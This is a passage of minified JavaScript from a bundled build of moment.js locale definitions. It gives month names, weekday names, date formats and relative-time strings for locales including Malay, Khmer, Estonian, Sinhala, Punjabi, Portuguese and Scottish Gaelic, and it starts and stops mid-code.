eekdaysShort:"\u0ab0\u0ab5\u0abf_\u0ab8\u0acb\u0aae_\u0aae\u0a82\u0a97\u0ab3_\u0aac\u0ac1\u0aa7\u0acd_\u0a97\u0ac1\u0ab0\u0ac1_\u0ab6\u0ac1\u0a95\u0acd\u0ab0_\u0ab6\u0aa8\u0abf".split("_"),weekdaysMin:"\u0ab0_\u0ab8\u0acb_\u0aae\u0a82_\u0aac\u0ac1_\u0a97\u0ac1_\u0ab6\u0ac1_\u0ab6".split("_"),longDateFormat:{LT:"A h:mm \u0ab5\u0abe\u0a97\u0acd\u0aaf\u0ac7",LTS:"A h:mm:ss \u0ab5\u0abe\u0a97\u0acd\u0aaf\u0ac7",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u0ab5\u0abe\u0a97\u0acd\u0aaf\u0ac7",LLLL:"dddd, D MMMM YYYY, A h:mm \u0ab5\u0abe\u0a97\u0acd\u0aaf\u0ac7"},calendar:{sameDay:"[\u0a86\u0a9c] LT",nextDay:"[\u0a95\u0abe\u0ab2\u0ac7] LT",nextWeek:"dddd, LT",lastDay:"[\u0a97\u0a87\u0a95\u0abe\u0ab2\u0ac7] LT",lastWeek:"[\u0aaa\u0abe\u0a9b\u0ab2\u0abe] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0aae\u0abe",past:"%s \u0aaa\u0ab9\u0ac7\u0ab2\u0abe",s:"\u0a85\u0aae\u0ac1\u0a95 \u0aaa\u0ab3\u0acb",ss:"%d \u0ab8\u0ac7\u0a95\u0a82\u0aa1",m:"\u0a8f\u0a95 \u0aae\u0abf\u0aa8\u0abf\u0a9f",mm:"%d \u0aae\u0abf\u0aa8\u0abf\u0a9f",h:"\u0a8f\u0a95 \u0a95\u0ab2\u0abe\u0a95",hh:"%d \u0a95\u0ab2\u0abe\u0a95",d:"\u0a8f\u0a95 \u0aa6\u0abf\u0ab5\u0ab8",dd:"%d \u0aa6\u0abf\u0ab5\u0ab8",M:"\u0a8f\u0a95 \u0aae\u0ab9\u0abf\u0aa8\u0acb",MM:"%d \u0aae\u0ab9\u0abf\u0aa8\u0acb",y:"\u0a8f\u0a95 \u0ab5\u0ab0\u0acd\u0ab7",yy:"%d \u0ab5\u0ab0\u0acd\u0ab7"},preparse:function(e){return e.replace(/[\u0ae7\u0ae8\u0ae9\u0aea\u0aeb\u0aec\u0aed\u0aee\u0aef\u0ae6]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0ab0\u0abe\u0aa4|\u0aac\u0aaa\u0acb\u0ab0|\u0ab8\u0ab5\u0abe\u0ab0|\u0ab8\u0abe\u0a82\u0a9c/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0ab0\u0abe\u0aa4"===t?e<4?e:e+12:"\u0ab8\u0ab5\u0abe\u0ab0"===t?e:"\u0aac\u0aaa\u0acb\u0ab0"===t?e>=10?e:e+12:"\u0ab8\u0abe\u0a82\u0a9c"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0ab0\u0abe\u0aa4":e<10?"\u0ab8\u0ab5\u0abe\u0ab0":e<17?"\u0aac\u0aaa\u0acb\u0ab0":e<20?"\u0ab8\u0abe\u0a82\u0a9c":"\u0ab0\u0abe\u0aa4"},week:{dow:0,doy:6}})}(n("wd/R"))},"4dOw":function(e,t,n){!function(e){"use strict";e.defineLocale("en-ie",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},"6+QB":function(e,t,n){!function(e){"use strict";e.defineLocale("ms",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n("wd/R"))},"6B0Y":function(e,t,n){!function(e){"use strict";var t={1:"\u17e1",2:"\u17e2",3:"\u17e3",4:"\u17e4",5:"\u17e5",6:"\u17e6",7:"\u17e7",8:"\u17e8",9:"\u17e9",0:"\u17e0"},n={"\u17e1":"1","\u17e2":"2","\u17e3":"3","\u17e4":"4","\u17e5":"5","\u17e6":"6","\u17e7":"7","\u17e8":"8","\u17e9":"9","\u17e0":"0"};e.defineLocale("km",{months:"\u1798\u1780\u179a\u17b6_\u1780\u17bb\u1798\u17d2\u1797\u17c8_\u1798\u17b8\u1793\u17b6_\u1798\u17c1\u179f\u17b6_\u17a7\u179f\u1797\u17b6_\u1798\u17b7\u1790\u17bb\u1793\u17b6_\u1780\u1780\u17d2\u1780\u178a\u17b6_\u179f\u17b8\u17a0\u17b6_\u1780\u1789\u17d2\u1789\u17b6_\u178f\u17bb\u179b\u17b6_\u179c\u17b7\u1785\u17d2\u1786\u17b7\u1780\u17b6_\u1792\u17d2\u1793\u17bc".split("_"),monthsShort:"\u1798\u1780\u179a\u17b6_\u1780\u17bb\u1798\u17d2\u1797\u17c8_\u1798\u17b8\u1793\u17b6_\u1798\u17c1\u179f\u17b6_\u17a7\u179f\u1797\u17b6_\u1798\u17b7\u1790\u17bb\u1793\u17b6_\u1780\u1780\u17d2\u1780\u178a\u17b6_\u179f\u17b8\u17a0\u17b6_\u1780\u1789\u17d2\u1789\u17b6_\u178f\u17bb\u179b\u17b6_\u179c\u17b7\u1785\u17d2\u1786\u17b7\u1780\u17b6_\u1792\u17d2\u1793\u17bc".split("_"),weekdays:"\u17a2\u17b6\u1791\u17b7\u178f\u17d2\u1799_\u1785\u17d0\u1793\u17d2\u1791_\u17a2\u1784\u17d2\u1782\u17b6\u179a_\u1796\u17bb\u1792_\u1796\u17d2\u179a\u17a0\u179f\u17d2\u1794\u178f\u17b7\u17cd_\u179f\u17bb\u1780\u17d2\u179a_\u179f\u17c5\u179a\u17cd".split("_"),weekdaysShort:"\u17a2\u17b6_\u1785_\u17a2_\u1796_\u1796\u17d2\u179a_\u179f\u17bb_\u179f".split("_"),weekdaysMin:"\u17a2\u17b6_\u1785_\u17a2_\u1796_\u1796\u17d2\u179a_\u179f\u17bb_\u179f".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/\u1796\u17d2\u179a\u17b9\u1780|\u179b\u17d2\u1784\u17b6\u1785/,isPM:function(e){return"\u179b\u17d2\u1784\u17b6\u1785"===e},meridiem:function(e,t,n){return e<12?"\u1796\u17d2\u179a\u17b9\u1780":"\u179b\u17d2\u1784\u17b6\u1785"},calendar:{sameDay:"[\u1790\u17d2\u1784\u17c3\u1793\u17c1\u17c7 \u1798\u17c9\u17c4\u1784] LT",nextDay:"[\u179f\u17d2\u17a2\u17c2\u1780 \u1798\u17c9\u17c4\u1784] LT",nextWeek:"dddd [\u1798\u17c9\u17c4\u1784] LT",lastDay:"[\u1798\u17d2\u179f\u17b7\u179b\u1798\u17b7\u1789 \u1798\u17c9\u17c4\u1784] LT",lastWeek:"dddd [\u179f\u1794\u17d2\u178f\u17b6\u17a0\u17cd\u1798\u17bb\u1793] [\u1798\u17c9\u17c4\u1784] LT",sameElse:"L"},relativeTime:{future:"%s\u1791\u17c0\u178f",past:"%s\u1798\u17bb\u1793",s:"\u1794\u17c9\u17bb\u1793\u17d2\u1798\u17b6\u1793\u179c\u17b7\u1793\u17b6\u1791\u17b8",ss:"%d \u179c\u17b7\u1793\u17b6\u1791\u17b8",m:"\u1798\u17bd\u1799\u1793\u17b6\u1791\u17b8",mm:"%d \u1793\u17b6\u1791\u17b8",h:"\u1798\u17bd\u1799\u1798\u17c9\u17c4\u1784",hh:"%d \u1798\u17c9\u17c4\u1784",d:"\u1798\u17bd\u1799\u1790\u17d2\u1784\u17c3",dd:"%d \u1790\u17d2\u1784\u17c3",M:"\u1798\u17bd\u1799\u1781\u17c2",MM:"%d \u1781\u17c2",y:"\u1798\u17bd\u1799\u1786\u17d2\u1793\u17b6\u17c6",yy:"%d \u1786\u17d2\u1793\u17b6\u17c6"},dayOfMonthOrdinalParse:/\u1791\u17b8\d{1,2}/,ordinal:"\u1791\u17b8%d",preparse:function(e){return e.replace(/[\u17e1\u17e2\u17e3\u17e4\u17e5\u17e6\u17e7\u17e8\u17e9\u17e0]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n("wd/R"))},"7BjC":function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={s:["m\xf5ne sekundi","m\xf5ni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["\xfche minuti","\xfcks minut"],mm:[e+" minuti",e+" minutit"],h:["\xfche tunni","tund aega","\xfcks tund"],hh:[e+" tunni",e+" tundi"],d:["\xfche p\xe4eva","\xfcks p\xe4ev"],M:["kuu aja","kuu aega","\xfcks kuu"],MM:[e+" kuu",e+" kuud"],y:["\xfche aasta","aasta","\xfcks aasta"],yy:[e+" aasta",e+" aastat"]};return t?r[n][2]?r[n][2]:r[n][1]:a?r[n][0]:r[n][1]}e.defineLocale("et",{months:"jaanuar_veebruar_m\xe4rts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_m\xe4rts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"p\xfchap\xe4ev_esmasp\xe4ev_teisip\xe4ev_kolmap\xe4ev_neljap\xe4ev_reede_laup\xe4ev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[T\xe4na,] LT",nextDay:"[Homme,] LT",nextWeek:"[J\xe4rgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s p\xe4rast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d p\xe4eva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},"7C5Q":function(e,t,n){!function(e){"use strict";e.defineLocale("en-in",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:6}})}(n("wd/R"))},"7aV9":function(e,t,n){!function(e){"use strict";e.defineLocale("si",{months:"\u0da2\u0db1\u0dc0\u0dcf\u0dbb\u0dd2_\u0db4\u0dd9\u0db6\u0dbb\u0dc0\u0dcf\u0dbb\u0dd2_\u0db8\u0dcf\u0dbb\u0dca\u0dad\u0dd4_\u0d85\u0db4\u0dca\u200d\u0dbb\u0dda\u0dbd\u0dca_\u0db8\u0dd0\u0dba\u0dd2_\u0da2\u0dd6\u0db1\u0dd2_\u0da2\u0dd6\u0dbd\u0dd2_\u0d85\u0d9c\u0ddd\u0dc3\u0dca\u0dad\u0dd4_\u0dc3\u0dd0\u0db4\u0dca\u0dad\u0dd0\u0db8\u0dca\u0db6\u0dbb\u0dca_\u0d94\u0d9a\u0dca\u0dad\u0ddd\u0db6\u0dbb\u0dca_\u0db1\u0ddc\u0dc0\u0dd0\u0db8\u0dca\u0db6\u0dbb\u0dca_\u0daf\u0dd9\u0dc3\u0dd0\u0db8\u0dca\u0db6\u0dbb\u0dca".split("_"),monthsShort:"\u0da2\u0db1_\u0db4\u0dd9\u0db6_\u0db8\u0dcf\u0dbb\u0dca_\u0d85\u0db4\u0dca_\u0db8\u0dd0\u0dba\u0dd2_\u0da2\u0dd6\u0db1\u0dd2_\u0da2\u0dd6\u0dbd\u0dd2_\u0d85\u0d9c\u0ddd_\u0dc3\u0dd0\u0db4\u0dca_\u0d94\u0d9a\u0dca_\u0db1\u0ddc\u0dc0\u0dd0_\u0daf\u0dd9\u0dc3\u0dd0".split("_"),weekdays:"\u0d89\u0dbb\u0dd2\u0daf\u0dcf_\u0dc3\u0db3\u0dd4\u0daf\u0dcf_\u0d85\u0d9f\u0dc4\u0dbb\u0dd4\u0dc0\u0dcf\u0daf\u0dcf_\u0db6\u0daf\u0dcf\u0daf\u0dcf_\u0db6\u0dca\u200d\u0dbb\u0dc4\u0dc3\u0dca\u0db4\u0dad\u0dd2\u0db1\u0dca\u0daf\u0dcf_\u0dc3\u0dd2\u0d9a\u0dd4\u0dbb\u0dcf\u0daf\u0dcf_\u0dc3\u0dd9\u0db1\u0dc3\u0dd4\u0dbb\u0dcf\u0daf\u0dcf".split("_"),weekdaysShort:"\u0d89\u0dbb\u0dd2_\u0dc3\u0db3\u0dd4_\u0d85\u0d9f_\u0db6\u0daf\u0dcf_\u0db6\u0dca\u200d\u0dbb\u0dc4_\u0dc3\u0dd2\u0d9a\u0dd4_\u0dc3\u0dd9\u0db1".split("_"),weekdaysMin:"\u0d89_\u0dc3_\u0d85_\u0db6_\u0db6\u0dca\u200d\u0dbb_\u0dc3\u0dd2_\u0dc3\u0dd9".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [\u0dc0\u0dd0\u0db1\u0dd2] dddd, a h:mm:ss"},calendar:{sameDay:"[\u0d85\u0daf] LT[\u0da7]",nextDay:"[\u0dc4\u0dd9\u0da7] LT[\u0da7]",nextWeek:"dddd LT[\u0da7]",lastDay:"[\u0d8a\u0dba\u0dda] LT[\u0da7]",lastWeek:"[\u0db4\u0dc3\u0dd4\u0d9c\u0dd2\u0dba] dddd LT[\u0da7]",sameElse:"L"},relativeTime:{future:"%s\u0d9a\u0dd2\u0db1\u0dca",past:"%s\u0d9a\u0da7 \u0db4\u0dd9\u0dbb",s:"\u0dad\u0dad\u0dca\u0db4\u0dbb \u0d9a\u0dd2\u0dc4\u0dd2\u0db4\u0dba",ss:"\u0dad\u0dad\u0dca\u0db4\u0dbb %d",m:"\u0db8\u0dd2\u0db1\u0dd2\u0dad\u0dca\u0dad\u0dd4\u0dc0",mm:"\u0db8\u0dd2\u0db1\u0dd2\u0dad\u0dca\u0dad\u0dd4 %d",h:"\u0db4\u0dd0\u0dba",hh:"\u0db4\u0dd0\u0dba %d",d:"\u0daf\u0dd2\u0db1\u0dba",dd:"\u0daf\u0dd2\u0db1 %d",M:"\u0db8\u0dcf\u0dc3\u0dba",MM:"\u0db8\u0dcf\u0dc3 %d",y:"\u0dc0\u0dc3\u0dbb",yy:"\u0dc0\u0dc3\u0dbb %d"},dayOfMonthOrdinalParse:/\d{1,2} \u0dc0\u0dd0\u0db1\u0dd2/,ordinal:function(e){return e+" \u0dc0\u0dd0\u0db1\u0dd2"},meridiemParse:/\u0db4\u0dd9\u0dbb \u0dc0\u0dbb\u0dd4|\u0db4\u0dc3\u0dca \u0dc0\u0dbb\u0dd4|\u0db4\u0dd9.\u0dc0|\u0db4.\u0dc0./,isPM:function(e){return"\u0db4.\u0dc0."===e||"\u0db4\u0dc3\u0dca \u0dc0\u0dbb\u0dd4"===e},meridiem:function(e,t,n){return e>11?n?"\u0db4.\u0dc0.":"\u0db4\u0dc3\u0dca \u0dc0\u0dbb\u0dd4":n?"\u0db4\u0dd9.\u0dc0.":"\u0db4\u0dd9\u0dbb \u0dc0\u0dbb\u0dd4"}})}(n("wd/R"))},"8/+R":function(e,t,n){!function(e){"use strict";var t={1:"\u0a67",2:"\u0a68",3:"\u0a69",4:"\u0a6a",5:"\u0a6b",6:"\u0a6c",7:"\u0a6d",8:"\u0a6e",9:"\u0a6f",0:"\u0a66"},n={"\u0a67":"1","\u0a68":"2","\u0a69":"3","\u0a6a":"4","\u0a6b":"5","\u0a6c":"6","\u0a6d":"7","\u0a6e":"8","\u0a6f":"9","\u0a66":"0"};e.defineLocale("pa-in",{months:"\u0a1c\u0a28\u0a35\u0a30\u0a40_\u0a2b\u0a3c\u0a30\u0a35\u0a30\u0a40_\u0a2e\u0a3e\u0a30\u0a1a_\u0a05\u0a2a\u0a4d\u0a30\u0a48\u0a32_\u0a2e\u0a08_\u0a1c\u0a42\u0a28_\u0a1c\u0a41\u0a32\u0a3e\u0a08_\u0a05\u0a17\u0a38\u0a24_\u0a38\u0a24\u0a70\u0a2c\u0a30_\u0a05\u0a15\u0a24\u0a42\u0a2c\u0a30_\u0a28\u0a35\u0a70\u0a2c\u0a30_\u0a26\u0a38\u0a70\u0a2c\u0a30".split("_"),monthsShort:"\u0a1c\u0a28\u0a35\u0a30\u0a40_\u0a2b\u0a3c\u0a30\u0a35\u0a30\u0a40_\u0a2e\u0a3e\u0a30\u0a1a_\u0a05\u0a2a\u0a4d\u0a30\u0a48\u0a32_\u0a2e\u0a08_\u0a1c\u0a42\u0a28_\u0a1c\u0a41\u0a32\u0a3e\u0a08_\u0a05\u0a17\u0a38\u0a24_\u0a38\u0a24\u0a70\u0a2c\u0a30_\u0a05\u0a15\u0a24\u0a42\u0a2c\u0a30_\u0a28\u0a35\u0a70\u0a2c\u0a30_\u0a26\u0a38\u0a70\u0a2c\u0a30".split("_"),weekdays:"\u0a10\u0a24\u0a35\u0a3e\u0a30_\u0a38\u0a4b\u0a2e\u0a35\u0a3e\u0a30_\u0a2e\u0a70\u0a17\u0a32\u0a35\u0a3e\u0a30_\u0a2c\u0a41\u0a27\u0a35\u0a3e\u0a30_\u0a35\u0a40\u0a30\u0a35\u0a3e\u0a30_\u0a38\u0a3c\u0a41\u0a71\u0a15\u0a30\u0a35\u0a3e\u0a30_\u0a38\u0a3c\u0a28\u0a40\u0a1a\u0a30\u0a35\u0a3e\u0a30".split("_"),weekdaysShort:"\u0a10\u0a24_\u0a38\u0a4b\u0a2e_\u0a2e\u0a70\u0a17\u0a32_\u0a2c\u0a41\u0a27_\u0a35\u0a40\u0a30_\u0a38\u0a3c\u0a41\u0a15\u0a30_\u0a38\u0a3c\u0a28\u0a40".split("_"),weekdaysMin:"\u0a10\u0a24_\u0a38\u0a4b\u0a2e_\u0a2e\u0a70\u0a17\u0a32_\u0a2c\u0a41\u0a27_\u0a35\u0a40\u0a30_\u0a38\u0a3c\u0a41\u0a15\u0a30_\u0a38\u0a3c\u0a28\u0a40".split("_"),longDateFormat:{LT:"A h:mm \u0a35\u0a1c\u0a47",LTS:"A h:mm:ss \u0a35\u0a1c\u0a47",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u0a35\u0a1c\u0a47",LLLL:"dddd, D MMMM YYYY, A h:mm \u0a35\u0a1c\u0a47"},calendar:{sameDay:"[\u0a05\u0a1c] LT",nextDay:"[\u0a15\u0a32] LT",nextWeek:"[\u0a05\u0a17\u0a32\u0a3e] dddd, LT",lastDay:"[\u0a15\u0a32] LT",lastWeek:"[\u0a2a\u0a3f\u0a1b\u0a32\u0a47] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0a35\u0a3f\u0a71\u0a1a",past:"%s \u0a2a\u0a3f\u0a1b\u0a32\u0a47",s:"\u0a15\u0a41\u0a1d \u0a38\u0a15\u0a3f\u0a70\u0a1f",ss:"%d \u0a38\u0a15\u0a3f\u0a70\u0a1f",m:"\u0a07\u0a15 \u0a2e\u0a3f\u0a70\u0a1f",mm:"%d \u0a2e\u0a3f\u0a70\u0a1f",h:"\u0a07\u0a71\u0a15 \u0a18\u0a70\u0a1f\u0a3e",hh:"%d \u0a18\u0a70\u0a1f\u0a47",d:"\u0a07\u0a71\u0a15 \u0a26\u0a3f\u0a28",dd:"%d \u0a26\u0a3f\u0a28",M:"\u0a07\u0a71\u0a15 \u0a2e\u0a39\u0a40\u0a28\u0a3e",MM:"%d \u0a2e\u0a39\u0a40\u0a28\u0a47",y:"\u0a07\u0a71\u0a15 \u0a38\u0a3e\u0a32",yy:"%d \u0a38\u0a3e\u0a32"},preparse:function(e){return e.replace(/[\u0a67\u0a68\u0a69\u0a6a\u0a6b\u0a6c\u0a6d\u0a6e\u0a6f\u0a66]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0a30\u0a3e\u0a24|\u0a38\u0a35\u0a47\u0a30|\u0a26\u0a41\u0a2a\u0a39\u0a3f\u0a30|\u0a38\u0a3c\u0a3e\u0a2e/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0a30\u0a3e\u0a24"===t?e<4?e:e+12:"\u0a38\u0a35\u0a47\u0a30"===t?e:"\u0a26\u0a41\u0a2a\u0a39\u0a3f\u0a30"===t?e>=10?e:e+12:"\u0a38\u0a3c\u0a3e\u0a2e"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0a30\u0a3e\u0a24":e<10?"\u0a38\u0a35\u0a47\u0a30":e<17?"\u0a26\u0a41\u0a2a\u0a39\u0a3f\u0a30":e<20?"\u0a38\u0a3c\u0a3e\u0a2e":"\u0a30\u0a3e\u0a24"},week:{dow:0,doy:6}})}(n("wd/R"))},"8mBD":function(e,t,n){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_mar\xe7o_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Ter\xe7a-feira_Quarta-feira_Quinta-feira_Sexta-feira_S\xe1bado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_S\xe1b".split("_"),weekdaysMin:"Do_2\xaa_3\xaa_4\xaa_5\xaa_6\xaa_S\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje \xe0s] LT",nextDay:"[Amanh\xe3 \xe0s] LT",nextWeek:"dddd [\xe0s] LT",lastDay:"[Ontem \xe0s] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[\xdaltimo] dddd [\xe0s] LT":"[\xdaltima] dddd [\xe0s] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"h\xe1 %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um m\xeas",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},"9rRi":function(e,t,n){!function(e){"use strict";e.defineLocale("gd",{months:["Am Faoilleach","An Gearran","Am M\xe0rt","An Giblean","An C\xe8itean","An t-\xd2gmhios","An t-Iuchar","An L\xf9nastal","An t-Sultain","An D\xe0mhair","An t-Samhain","An D\xf9bhlachd"],monthsShort:["Faoi","Gear","M\xe0rt","Gibl","C\xe8it","\xd2gmh","Iuch","L\xf9n","Sult","D\xe0mh","Samh","D\xf9bh"],monthsParseExact:!0,weekdays:["Did\xf2mhnaich","Diluain","Dim\xe0irt","Diciadain","Diardaoin","Dihaoine","Disathairne"],weekdaysShort:["Did","Dil","Dim","Dic","Dia","Dih","Dis"],weekdaysMin:["D\xf2","Lu","M\xe0","Ci","Ar","Ha","Sa"],longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-m\xe0ireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-d\xe8 aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"m\xecos",MM:"%d m\xecosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n("wd/R"))},"A+xa":function(e,t,n){!function(e){"use strict";e.defineLocale("cv",{months:"\u043a\u04d1\u0440\u043b\u0430\u0447_\u043d\u0430\u0440\u04d1\u0441_\u043f\u0443\u0448_\u0430\u043a\u0430_\u043c\u0430\u0439_\u04ab\u04d7\u0440\u0442\u043c\u0435_\u0443\u0442\u04d1_\u04ab\u0443\u0440\u043b\u0430_\u0430\u0432\u04d1\u043d_\u044e\u043f\u0430_\u0447\u04f3\u043a_\u0440\u0430\u0448\u0442\u0430\u0432".split("_"),monthsShort:"\u043a\u04d1\u0440_\u043d\u0430\u0440_\u043f\u0443\u0448_\u0430\u043a\u0430_\u043c\u0430\u0439_\u04ab\u04d7\u0440_\u0443\u0442\u04d1_\u04ab\u0443\u0440_\u0430\u0432\u043d_\u044e\u043f\u0430_\u0447\u04f3\u043a_\u0440\u0430\u0448".split("_"),weekdays:"\u0432\u044b\u0440\u0441\u0430\u0440\u043d\u0438\u043a\u0443\u043d_\u0442\u0443\u043d\u0442\u0438\u043a\u0443\u043d_\u044b\u0442\u043b\u0430\u0440\u0438\u043a\u0443\u043d_\u044e\u043d\u043a\u0443\u043d_\u043a\u04d7\u04ab\u043d\u0435\u0440\u043d\u0438\u043a\u0443\u043d_\u044d\u0440\u043d\u0435\u043a\u0443\u043d_\u0448\u04d1\u043c\u0430\u0442\u043a\u0443\u043d".split("_"),weekdaysShort:"\u0432\u044b\u0440_\u0442\u0443\u043d_\u044b\u0442\u043b_\u044e\u043d_\u043a\u04d7\